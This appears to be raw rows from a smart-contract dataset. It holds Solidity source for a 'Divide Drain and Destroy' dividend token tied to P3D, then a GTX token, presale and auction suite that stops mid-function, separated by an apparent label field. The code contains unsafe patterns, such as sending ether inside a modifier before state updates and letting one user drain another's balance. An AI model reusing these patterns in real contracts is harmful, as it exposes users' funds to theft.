event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface HourglassInterface {
function() payable external;
function buy(address _playerAddress) payable external returns(uint256);
function sell(uint256 _amountOfTokens) external;
function reinvest() external;
function withdraw() external;
function exit() external;
function dividendsOf(address _playerAddress) external view returns(uint256);
function balanceOf(address _playerAddress) external view returns(uint256);
function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool);
function stakingRequirement() external view returns(uint256);
}
interface SPASMInterface {
function() payable external;
function disburse() external payable;
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract DivideDrainDestroy is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "DDD";
name = "Divide Drain and Destroy";
decimals = 0;
_totalSupply = 1;
balances[owner] = _totalSupply;
emit Transfer(address(0),owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) updateAccount(to) updateAccount(msg.sender) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens)updateAccount(to) updateAccount(from) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
HourglassInterface constant P3Dcontract_ = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe);
SPASMInterface constant SPASM_ = SPASMInterface(0xfaAe60F2CE6491886C9f7C9356bd92F688cA66a1);
function harvestabledivs()
view
public
returns(uint256)
{
return ( P3Dcontract_.dividendsOf(address(this))) ;
}
function amountofp3d() external view returns(uint256){
return ( P3Dcontract_.balanceOf(address(this))) ;
}
uint256 public pointMultiplier = 10e18;
struct Account {
uint balance;
uint lastDividendPoints;
}
mapping(address=>Account) accounts;
mapping(address => uint256) public ETHtoP3Dbymasternode;
mapping(address => string) public Vanity;
uint public ethtotalSupply;
uint public totalDividendPoints;
uint public unclaimedDividends;
function dividendsOwing(address account) public view returns(uint256) {
uint256 newDividendPoints = totalDividendPoints.sub(accounts[account].lastDividendPoints);
return (balances[account] * newDividendPoints) / pointMultiplier;
}
modifier updateAccount(address account) {
uint256 owing = dividendsOwing(account);
if(owing > 0) {
unclaimedDividends = unclaimedDividends.sub(owing);
account.transfer(owing);
}
accounts[account].lastDividendPoints = totalDividendPoints;
_;
}
function () external payable{}
function fetchdivs(address toupdate) public updateAccount(toupdate){}
function disburse(address masternode) public payable {
uint256 amount = msg.value;
uint256 base = amount.div(100);
uint256 amt2 = amount.sub(base);
totalDividendPoints = totalDividendPoints.add(amt2.mul(pointMultiplier).div(_totalSupply));
unclaimedDividends = unclaimedDividends.add(amt2);
ETHtoP3Dbymasternode[masternode] = ETHtoP3Dbymasternode[masternode].add(base);
}
function Divide(address masternode) public payable{
uint256 amount = msg.value.mul(3);
address sender = msg.sender;
uint256 sup = _totalSupply;
require(amount >= 1);
sup = sup.add(amount);
disburse(masternode);
fetchdivs(msg.sender);
balances[msg.sender] = balances[sender].add(amount);
emit Transfer(0,sender, amount);
_totalSupply = sup;
}
function Drain(address drainfrom, address masternode) public payable{
uint256 amount = msg.value.mul(2);
address sender = msg.sender;
require(amount >= 1);
require(amount <= balances[drainfrom]);
disburse(masternode);
fetchdivs(msg.sender);
fetchdivs(drainfrom);
balances[msg.sender] = balances[sender].add(amount);
balances[drainfrom] = balances[drainfrom].sub(amount);
emit Transfer(drainfrom,sender, amount);
}
function Destroy(address destroyfrom, address masternode) public payable{
uint256 amount = msg.value.mul(5);
uint256 sup = _totalSupply;
require(amount >= 1);
require(amount <= balances[destroyfrom]);
disburse(masternode);
fetchdivs(msg.sender);
fetchdivs(destroyfrom);
balances[destroyfrom] = balances[destroyfrom].sub(amount);
emit Transfer(destroyfrom,0x0, amount);
_totalSupply = sup.sub(amount);
}
function Expand(address masternode) public {
uint256 amt = ETHtoP3Dbymasternode[masternode];
ETHtoP3Dbymasternode[masternode] = 0;
if(masternode == 0x0){masternode = 0x989eB9629225B8C06997eF0577CC08535fD789F9;}
P3Dcontract_.buy.value(amt)(masternode);
}
function changevanity(string van , address masternode) public payable{
require(msg.value >= 100 finney);
Vanity[msg.sender] = van;
ETHtoP3Dbymasternode[masternode] = ETHtoP3Dbymasternode[masternode].add(msg.value);
}
function P3DDivstocontract() public payable{
uint256 divs = harvestabledivs();
require(divs > 0);
P3Dcontract_.withdraw();
uint256 base = divs.div(100);
uint256 amt2 = divs.sub(base);
SPASM_.disburse.value(base)();
totalDividendPoints = totalDividendPoints.add(amt2.mul(pointMultiplier).div(_totalSupply));
unclaimedDividends = unclaimedDividends.add(amt2);
}
} | 1 | 2,443 |
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender)public view returns (uint256);
function transferFrom(address from, address to, uint256 value)public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20Interface {
using SafeMath for uint256;
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply_;
bool public migrationStart;
TimeLock timeLockContract;
modifier migrateStarted {
if(migrationStart == true){
require(msg.sender == address(timeLockContract));
}
_;
}
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public migrateStarted returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
migrateStarted
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract GTXERC20Migrate is Ownable {
using SafeMath for uint256;
mapping (address => uint256) public migratableGTX;
GTXToken public ERC20;
constructor(GTXToken _ERC20) public {
ERC20 = _ERC20;
}
event GTXRecordUpdate(
address indexed _recordAddress,
uint256 _totalMigratableGTX
);
function initiateGTXMigration(uint256 _balanceToMigrate) public {
uint256 migratable = ERC20.migrateTransfer(msg.sender,_balanceToMigrate);
migratableGTX[msg.sender] = migratableGTX[msg.sender].add(migratable);
emit GTXRecordUpdate(msg.sender, migratableGTX[msg.sender]);
}
}
contract TimeLock {
GTXToken public ERC20;
struct accountData {
uint256 balance;
uint256 releaseTime;
}
event Lock(address indexed _tokenLockAccount, uint256 _lockBalance, uint256 _releaseTime);
event UnLock(address indexed _tokenUnLockAccount, uint256 _unLockBalance, uint256 _unLockTime);
mapping (address => accountData) public accounts;
constructor(GTXToken _ERC20) public {
ERC20 = _ERC20;
}
function timeLockTokens(uint256 _lockTimeS) public {
uint256 lockAmount = ERC20.allowance(msg.sender, this);
require(lockAmount != 0);
if (accounts[msg.sender].balance > 0) {
accounts[msg.sender].balance = SafeMath.add(accounts[msg.sender].balance, lockAmount);
} else {
accounts[msg.sender].balance = lockAmount;
accounts[msg.sender].releaseTime = SafeMath.add(block.timestamp , _lockTimeS);
}
emit Lock(msg.sender, lockAmount, accounts[msg.sender].releaseTime);
ERC20.transferFrom(msg.sender, this, lockAmount);
}
function tokenRelease() public {
require (accounts[msg.sender].balance != 0 && accounts[msg.sender].releaseTime <= block.timestamp);
uint256 transferUnlockedBalance = accounts[msg.sender].balance;
accounts[msg.sender].balance = 0;
accounts[msg.sender].releaseTime = 0;
emit UnLock(msg.sender, transferUnlockedBalance, block.timestamp);
ERC20.transfer(msg.sender, transferUnlockedBalance);
}
function getLockedFunds(address _account) view public returns (uint _lockedBalance) {
return accounts[_account].balance;
}
function getReleaseTime(address _account) view public returns (uint _releaseTime) {
return accounts[_account].releaseTime;
}
}
contract GTXToken is StandardToken, Ownable{
using SafeMath for uint256;
event SetMigrationAddress(address GTXERC20MigrateAddress);
event SetAuctionAddress(address GTXAuctionContractAddress);
event SetTimeLockAddress(address _timeLockAddress);
event Migrated(address indexed account, uint256 amount);
event MigrationStarted();
GTXRecord public gtxRecord;
GTXPresale public gtxPresale;
uint256 public totalAllocation;
TimeLock timeLockContract;
GTXERC20Migrate gtxMigrationContract;
GTXAuction gtxAuctionContract;
modifier onlyMigrate {
require(msg.sender == address(gtxMigrationContract));
_;
}
modifier onlyAuction {
require(msg.sender == address(gtxAuctionContract));
_;
}
constructor(uint256 _totalSupply, GTXRecord _gtxRecord, GTXPresale _gtxPresale, string _name, string _symbol, uint8 _decimals)
StandardToken(_name,_symbol,_decimals) public {
require(_gtxRecord != address(0), "Must provide a Record address");
require(_gtxPresale != address(0), "Must provide a PreSale address");
require(_gtxPresale.getStage() > 0, "Presale must have already set its allocation");
require(_gtxRecord.maxRecords().add(_gtxPresale.totalPresaleTokens()) <= _totalSupply, "Records & PreSale allocation exceeds the proposed total supply");
totalSupply_ = _totalSupply;
gtxRecord = _gtxRecord;
gtxPresale = _gtxPresale;
}
function () public payable {
revert ();
}
function recoverLost(ERC20Interface _token) public onlyOwner {
_token.transfer(owner(), _token.balanceOf(this));
}
function setMigrationAddress(GTXERC20Migrate _gtxMigrateContract) public onlyOwner returns (bool) {
require(_gtxMigrateContract != address(0), "Must provide a Migration address");
require(_gtxMigrateContract.ERC20() == address(this), "Migration contract does not have this token assigned");
gtxMigrationContract = _gtxMigrateContract;
emit SetMigrationAddress(_gtxMigrateContract);
return true;
}
function setAuctionAddress(GTXAuction _gtxAuctionContract) public onlyOwner returns (bool) {
require(_gtxAuctionContract != address(0), "Must provide an Auction address");
require(_gtxAuctionContract.ERC20() == address(this), "Auction contract does not have this token assigned");
gtxAuctionContract = _gtxAuctionContract;
emit SetAuctionAddress(_gtxAuctionContract);
return true;
}
function setTimeLockAddress(TimeLock _timeLockContract) public onlyOwner returns (bool) {
require(_timeLockContract != address(0), "Must provide a TimeLock address");
require(_timeLockContract.ERC20() == address(this), "TimeLock contract does not have this token assigned");
timeLockContract = _timeLockContract;
emit SetTimeLockAddress(_timeLockContract);
return true;
}
function startMigration() onlyOwner public returns (bool) {
require(migrationStart == false, "startMigration has already been run");
require(gtxMigrationContract != address(0), "Migration contract address must be set");
require(gtxAuctionContract != address(0), "Auction contract address must be set");
require(timeLockContract != address(0), "TimeLock contract address must be set");
migrationStart = true;
emit MigrationStarted();
return true;
}
function passAuctionAllocation(uint256 _auctionAllocation) public onlyAuction {
require(gtxRecord.lockRecords() == true, "GTXRecord contract lock state should be true");
uint256 gtxRecordTotal = gtxRecord.totalClaimableGTX();
uint256 gtxPresaleTotal = gtxPresale.totalPresaleTokens();
totalAllocation = _auctionAllocation.add(gtxRecordTotal).add(gtxPresaleTotal);
require(totalAllocation <= totalSupply_, "totalAllocation must be less than totalSupply");
balances[gtxAuctionContract] = totalAllocation;
emit Transfer(address(0), gtxAuctionContract, totalAllocation);
uint256 remainingTokens = totalSupply_.sub(totalAllocation);
balances[owner()] = remainingTokens;
emit Transfer(address(0), owner(), totalAllocation);
}
function migrateTransfer(address _account, uint256 _amount) onlyMigrate public returns (uint256) {
require(migrationStart == true);
uint256 userBalance = balanceOf(_account);
require(userBalance >= _amount);
emit Migrated(_account, _amount);
balances[_account] = balances[_account].sub(_amount);
return _amount;
}
function getGTXRecord() public view returns (address) {
return address(gtxRecord);
}
function getAuctionAllocation() public view returns (uint256){
require(totalAllocation != 0, "Auction allocation has not been set yet");
return totalAllocation;
}
}
contract GTXRecord is Ownable {
using SafeMath for uint256;
uint256 public conversionRate;
bool public lockRecords;
uint256 public maxRecords;
uint256 public totalClaimableGTX;
mapping (address => uint256) public claimableGTX;
event GTXRecordCreate(
address indexed _recordAddress,
uint256 _finPointAmount,
uint256 _gtxAmount
);
event GTXRecordUpdate(
address indexed _recordAddress,
uint256 _finPointAmount,
uint256 _gtxAmount
);
event GTXRecordMove(
address indexed _oldAddress,
address indexed _newAddress,
uint256 _gtxAmount
);
event LockRecords();
modifier canRecord() {
require(conversionRate > 0);
require(!lockRecords);
_;
}
constructor (uint256 _maxRecords) public {
maxRecords = _maxRecords;
}
function setConversionRate(uint256 _conversionRate) external onlyOwner{
require(_conversionRate <= 1000);
require(_conversionRate > 0);
conversionRate = _conversionRate;
}
function lock() public onlyOwner returns (bool) {
lockRecords = true;
emit LockRecords();
return true;
}
function recordCreate(address _recordAddress, uint256 _finPointAmount, bool _applyConversionRate) public onlyOwner canRecord {
require(_finPointAmount >= 100000, "cannot be less than 100000 FIN (in WEI)");
uint256 afterConversionGTX;
if(_applyConversionRate == true) {
afterConversionGTX = _finPointAmount.mul(conversionRate).div(100);
} else {
afterConversionGTX = _finPointAmount;
}
claimableGTX[_recordAddress] = claimableGTX[_recordAddress].add(afterConversionGTX);
totalClaimableGTX = totalClaimableGTX.add(afterConversionGTX);
require(totalClaimableGTX <= maxRecords, "total token record (contverted GTX) cannot exceed GTXRecord token limit");
emit GTXRecordCreate(_recordAddress, _finPointAmount, claimableGTX[_recordAddress]);
}
function recordUpdate(address _recordAddress, uint256 _finPointAmount, bool _applyConversionRate) public onlyOwner canRecord {
require(_finPointAmount >= 100000, "cannot be less than 100000 FIN (in WEI)");
uint256 afterConversionGTX;
totalClaimableGTX = totalClaimableGTX.sub(claimableGTX[_recordAddress]);
if(_applyConversionRate == true) {
afterConversionGTX = _finPointAmount.mul(conversionRate).div(100);
} else {
afterConversionGTX = _finPointAmount;
}
claimableGTX[_recordAddress] = afterConversionGTX;
totalClaimableGTX = totalClaimableGTX.add(claimableGTX[_recordAddress]);
require(totalClaimableGTX <= maxRecords, "total token record (contverted GTX) cannot exceed GTXRecord token limit");
emit GTXRecordUpdate(_recordAddress, _finPointAmount, claimableGTX[_recordAddress]);
}
function recordMove(address _oldAddress, address _newAddress) public onlyOwner canRecord {
require(claimableGTX[_oldAddress] != 0, "cannot move a zero record");
require(claimableGTX[_newAddress] == 0, "destination must not already have a claimable record");
claimableGTX[_newAddress] = claimableGTX[_oldAddress];
claimableGTX[_oldAddress] = 0;
emit GTXRecordMove(_oldAddress, _newAddress, claimableGTX[_newAddress]);
}
}
contract GTXPresale is Ownable {
using SafeMath for uint256;
bool public lockRecords;
uint256 public totalPresaleTokens;
uint256 public totalClaimableGTX;
mapping (address => uint256) public presaleGTX;
mapping (address => uint256) public bonusGTX;
mapping (address => uint256) public claimableGTX;
uint256[11] public bonusPercent;
uint256[11] public bonusThreshold;
Stages public stage;
enum Stages {
PresaleDeployed,
Presale,
ClaimingStarted
}
modifier atStage(Stages _stage) {
require(stage == _stage, "function not allowed at current stage");
_;
}
event Setup(
uint256 _maxPresaleTokens,
uint256[] _bonusThreshold,
uint256[] _bonusPercent
);
event GTXRecordCreate(
address indexed _recordAddress,
uint256 _gtxTokens
);
event GTXRecordUpdate(
address indexed _recordAddress,
uint256 _gtxTokens
);
event GTXRecordMove(
address indexed _oldAddress,
address indexed _newAddress,
uint256 _gtxTokens
);
event LockRecords();
constructor() public{
stage = Stages.PresaleDeployed;
}
function lock() public onlyOwner returns (bool) {
lockRecords = true;
stage = Stages.ClaimingStarted;
emit LockRecords();
return true;
}
function setup(uint256 _maxPresaleTokens, uint256[] _bonusThreshold, uint256[] _bonusPercent) external onlyOwner atStage(Stages.PresaleDeployed) {
require(_bonusPercent.length == _bonusThreshold.length, "Length of bonus percent array and bonus threshold should be equal");
totalPresaleTokens =_maxPresaleTokens;
for(uint256 i=0; i< _bonusThreshold.length; i++) {
bonusThreshold[i] = _bonusThreshold[i];
bonusPercent[i] = _bonusPercent[i];
}
stage = Stages.Presale;
emit Setup(_maxPresaleTokens,_bonusThreshold,_bonusPercent);
}
function recordCreate(address _recordAddress, uint256 _gtxTokens) public onlyOwner atStage(Stages.Presale) {
require(_gtxTokens >= 100000, "Minimum allowed GTX tokens is 100000 Bosons");
totalClaimableGTX = totalClaimableGTX.sub(claimableGTX[_recordAddress]);
presaleGTX[_recordAddress] = presaleGTX[_recordAddress].add(_gtxTokens);
bonusGTX[_recordAddress] = calculateBonus(_recordAddress);
claimableGTX[_recordAddress] = presaleGTX[_recordAddress].add(bonusGTX[_recordAddress]);
totalClaimableGTX = totalClaimableGTX.add(claimableGTX[_recordAddress]);
require(totalClaimableGTX <= totalPresaleTokens, "total token record (presale GTX + bonus GTX) cannot exceed presale token limit");
emit GTXRecordCreate(_recordAddress, claimableGTX[_recordAddress]);
}
function recordUpdate(address _recordAddress, uint256 _gtxTokens) public onlyOwner atStage(Stages.Presale){
require(_gtxTokens >= 100000, "Minimum allowed GTX tokens is 100000 Bosons");
totalClaimableGTX = totalClaimableGTX.sub(claimableGTX[_recordAddress]);
presaleGTX[_recordAddress] = _gtxTokens;
bonusGTX[_recordAddress] = calculateBonus(_recordAddress);
claimableGTX[_recordAddress] = presaleGTX[_recordAddress].add(bonusGTX[_recordAddress]);
totalClaimableGTX = totalClaimableGTX.add(claimableGTX[_recordAddress]);
require(totalClaimableGTX <= totalPresaleTokens, "total token record (presale GTX + bonus GTX) cannot exceed presale token limit");
emit GTXRecordUpdate(_recordAddress, claimableGTX[_recordAddress]);
}
function recordMove(address _oldAddress, address _newAddress) public onlyOwner atStage(Stages.Presale){
require(claimableGTX[_oldAddress] != 0, "cannot move a zero record");
require(claimableGTX[_newAddress] == 0, "destination must not already have a claimable record");
presaleGTX[_newAddress] = presaleGTX[_oldAddress];
presaleGTX[_oldAddress] = 0;
bonusGTX[_newAddress] = bonusGTX[_oldAddress];
bonusGTX[_oldAddress] = 0;
claimableGTX[_newAddress] = claimableGTX[_oldAddress];
claimableGTX[_oldAddress] = 0;
emit GTXRecordMove(_oldAddress, _newAddress, claimableGTX[_newAddress]);
}
function calculateBonus(address _receiver) public view returns(uint256 bonus) {
uint256 gtxTokens = presaleGTX[_receiver];
for(uint256 i=0; i < bonusThreshold.length; i++) {
if(gtxTokens >= bonusThreshold[i]) {
bonus = (bonusPercent[i].mul(gtxTokens)).div(100);
}
}
return bonus;
}
function getStage() public view returns (uint256) {
return uint(stage);
}
}
contract GTXAuction is Ownable {
using SafeMath for uint256;
event Setup(uint256 etherPrice, uint256 hardCap, uint256 ceiling, uint256 floor, uint256[] bonusThreshold, uint256[] bonusPercent);
event BidSubmission(address indexed sender, uint256 amount);
event ClaimedTokens(address indexed recipient, uint256 sentAmount);
event Collected(address collector, address multiSigAddress, uint256 amount);
event SetMultiSigAddress(address owner, address multiSigAddress);
GTXToken public ERC20;
GTXRecord public gtxRecord;
GTXPresale public gtxPresale;
uint256 public maxTokens;
uint256 public remainingCap;
uint256 public totalReceived;
uint256 public maxTotalClaim;
uint256 public totalAuctionTokens;
uint256 public fundsClaimed;
uint256 public startBlock;
uint256 public biddingPeriod;
uint256 public endBlock;
uint256 public waitingPeriod;
uint256 public etherPrice;
uint256 public ceiling;
uint256 public floor;
uint256 public hardCap;
uint256 public priceConstant;
uint256 public finalPrice;
uint256 constant public WEI_FACTOR = 10**18;
uint256 public participants;
address public multiSigAddress;
mapping (address => uint256) public bids;
mapping (address => uint256) public bidTokens;
mapping (address => uint256) public totalTokens;
mapping (address => bool) public claimedStatus;
mapping (address => bool) public whitelist;
uint256[11] public bonusPercent;
uint256[11] public bonusThresholdWei;
Stages public stage;
enum Stages {
AuctionDeployed,
AuctionSetUp,
AuctionStarted,
AuctionEnded,
ClaimingStarted,
ClaimingEnded
}
modifier atStage(Stages _stage) {
require(stage == _stage, "not the expected stage");
_;
}
modifier timedTransitions() {
if (stage == Stages.AuctionStarted && block.number >= endBlock) {
finalizeAuction();
msg.sender.transfer(msg.value);
return;
}
if (stage == Stages.AuctionEnded && block.number >= endBlock.add(waitingPeriod)) {
stage = Stages.ClaimingStarted;
}
_;
}
modifier onlyWhitelisted(address _participant) {
require(whitelist[_participant] == true, "account is not white listed");
_;
}
constructor (
GTXToken _gtxToken,
GTXRecord _gtxRecord,
GTXPresale _gtxPresale,
uint256 _biddingPeriod,
uint256 _waitingPeriod
)
public
{
require(_gtxToken != address(0), "Must provide a Token address");
require(_gtxRecord != address(0), "Must provide a Record address");
require(_gtxPresale != address(0), "Must provide a PreSale address");
require(_biddingPeriod > 0, "The bidding period must be a minimum 1 block");
require(_waitingPeriod > 0, "The waiting period must be a minimum 1 block");
ERC20 = _gtxToken;
gtxRecord = _gtxRecord;
gtxPresale = _gtxPresale;
waitingPeriod = _waitingPeriod;
biddingPeriod = _biddingPeriod;
uint256 gtxSwapTokens = gtxRecord.maxRecords();
uint256 gtxPresaleTokens = gtxPresale.totalPresaleTokens();
maxTotalClaim = maxTotalClaim.add(gtxSwapTokens).add(gtxPresaleTokens);
stage = Stages.AuctionDeployed;
}
function () public payable {
bid(msg.sender);
}
function recoverTokens(ERC20Interface _token) external onlyOwner {
if(address(_token) == address(ERC20)) {
require(uint(stage) >= 3, "auction bidding must be ended to recover");
if(currentStage() == 3 || currentStage() == 4) {
_token.transfer(owner(), _token.balanceOf(address(this)).sub(maxTotalClaim));
} else {
_token.transfer(owner(), _token.balanceOf(address(this)));
}
} else {
_token.transfer(owner(), _token.balanceOf(address(this)));
}
}
function addToWhitelist(address[] _bidder_addresses) external onlyOwner {
for (uint32 i = 0; i < _bidder_addresses.length; i++) {
if(_bidder_addresses[i] != address(0) && whitelist[_bidder_addresses[i]] == false){
whitelist[_bidder_addresses[i]] = true;
}
}
}
function removeFromWhitelist(address[] _bidder_addresses) external onlyOwner {
for (uint32 i = 0; i < _bidder_addresses.length; i++) {
if(_bidder_addresses[i] != address(0) && whitelist[_bidder_addresses[i]] == true){
whitelist[_bidder_addresses[i]] = false;
}
}
}
function setup(
uint256 _maxTokens,
uint256 _etherPrice,
uint256 _hardCap,
uint256 _ceiling,
uint256 _floor,
uint256[] _bonusThreshold,
uint256[] _bonusPercent
)
external
onlyOwner
atStage(Stages.AuctionDeployed)
returns (bool)
{
require(_maxTokens > 0,"Max Tokens should be > 0");
require(_etherPrice > 0,"Ether price should be > 0");
require(_hardCap > 0,"Hard Cap should be > 0");
require(_floor < _ceiling,"Floor must be strictly less than the ceiling");
require(_bonusPercent.length == 11 && _bonusThreshold.length == 11, "Length of bonus percent array and bonus threshold should be 11");
maxTokens = _maxTokens;
etherPrice = _etherPrice;
ERC20.passAuctionAllocation(maxTokens);
require(ERC20.balanceOf(address(this)) == ERC20.getAuctionAllocation(), "Incorrect balance assigned by auction allocation");
ceiling = _ceiling.mul(WEI_FACTOR).div(_etherPrice);
floor = _floor.mul(WEI_FACTOR).div(_etherPrice);
hardCap = _hardCap.mul(WEI_FACTOR).div(_etherPrice);
for (uint32 i = 0; i<_bonusPercent.length; i++) {
bonusPercent[i] = _bonusPercent[i];
bonusThresholdWei[i] = _bonusThreshold[i].mul(WEI_FACTOR).div(_etherPrice);
}
remainingCap = hardCap.sub(remainingCap);
priceConstant = (biddingPeriod**3).div((biddingPeriod.add(1).mul(ceiling).div(floor)).sub(biddingPeriod.add(1)));
stage = Stages.AuctionSetUp;
emit Setup(_etherPrice,_hardCap,_ceiling,_floor,_bonusThreshold,_bonusPercent);
}
function changeSettings(
uint256 _etherPrice,
uint256 _hardCap,
uint256 _ceiling,
uint256 _floor,
uint256[] _bonusThreshold,
uint256[] _bonusPercent
)
external
onlyOwner
atStage(Stages.AuctionSetUp)
{
require(_etherPrice > 0,"Ether price should be > 0");
require(_hardCap > 0,"Hard Cap should be > 0");
require(_floor < _ceiling,"floor must be strictly less than the ceiling");
require(_bonusPercent.length == _bonusThreshold.length, "Length of bonus percent array and bonus threshold should be equal");
etherPrice = _etherPrice;
ceiling = _ceiling.mul(WEI_FACTOR).div(_etherPrice);
floor = _floor.mul(WEI_FACTOR).div(_etherPrice);
hardCap = _hardCap.mul(WEI_FACTOR).div(_etherPrice);
for (uint i = 0 ; i<_bonusPercent.length; i++) {
bonusPercent[i] = _bonusPercent[i];
bonusThresholdWei[i] = _bonusThreshold[i].mul(WEI_FACTOR).div(_etherPrice);
}
remainingCap = hardCap.sub(remainingCap);
priceConstant = (biddingPeriod**3).div((biddingPeriod.add(1).mul(ceiling).div(floor)).sub(biddingPeriod.add(1)));
emit Setup(_etherPrice,_hardCap,_ceiling,_floor,_bonusThreshold,_bonusPercent);
}
function startAuction()
public
onlyOwner
atStage(Stages.AuctionSetUp)
{
stage = Stages.AuctionStarted;
startBlock = block.number;
endBlock = startBlock.add(biddingPeriod);
}
function endClaim()
public
onlyOwner
atStage(Stages.ClaimingStarted)
{
require(block.number >= endBlock.add(biddingPeriod), "Owner can end claim only after 3 months");
stage = Stages.ClaimingEnded;
}
function setMultiSigAddress(address _multiSigAddress) external onlyOwner returns(bool){
require(_multiSigAddress != address(0), "not a valid multisignature address");
multiSigAddress = _multiSigAddress;
emit SetMultiSigAddress(msg.sender,multiSigAddress);
return true;
}
function collect() external onlyOwner returns (bool) {
require(multiSigAddress != address(0), "multisignature address is not set");
multiSigAddress.transfer(address(this).balance);
emit Collected(msg.sender, multiSigAddress, address(this).balance);
return true;
}
function bid(address _receiver)
public
payable
timedTransitions
atStage(Stages.AuctionStarted)
{
require(msg.value > 0, "bid must be larger than 0");
require(block.number <= endBlock ,"Auction has ended");
if (_receiver == 0x0) {
_receiver = msg.sender;
}
assert(bids[_receiver].add(msg.value) >= msg.value);
uint256 maxWei = hardCap.sub(totalReceived);
require(msg.value <= maxWei, "Hardcap limit will be exceeded");
participants = participants.add(1);
bids[_receiver] = bids[_receiver].add(msg.value);
uint256 maxAcctClaim = bids[_receiver].mul(WEI_FACTOR).div(calcTokenPrice(endBlock));
maxAcctClaim = maxAcctClaim.add(bonusPercent[10].mul(maxAcctClaim).div(100));
maxTotalClaim = maxTotalClaim.add(maxAcctClaim);
totalReceived = totalReceived.add(msg.value);
remainingCap = hardCap.sub(totalReceived);
if(remainingCap == 0){
finalizeAuction();
}
assert(totalReceived >= msg.value);
emit BidSubmission(_receiver, msg.value);
}
function claimTokens()
public
timedTransitions
onlyWhitelisted(msg.sender)
atStage(Stages.ClaimingStarted)
{
require(!claimedStatus[msg.sender], "User already claimed");
require(gtxRecord.lockRecords(), "gtx records record updating must be locked");
require(gtxPresale.lockRecords(), "presale record updating must be locked");
fundsClaimed = fundsClaimed.add(bids[msg.sender]);
uint256 accumulatedTokens = calculateTokens(msg.sender);
bids[msg.sender] = 0;
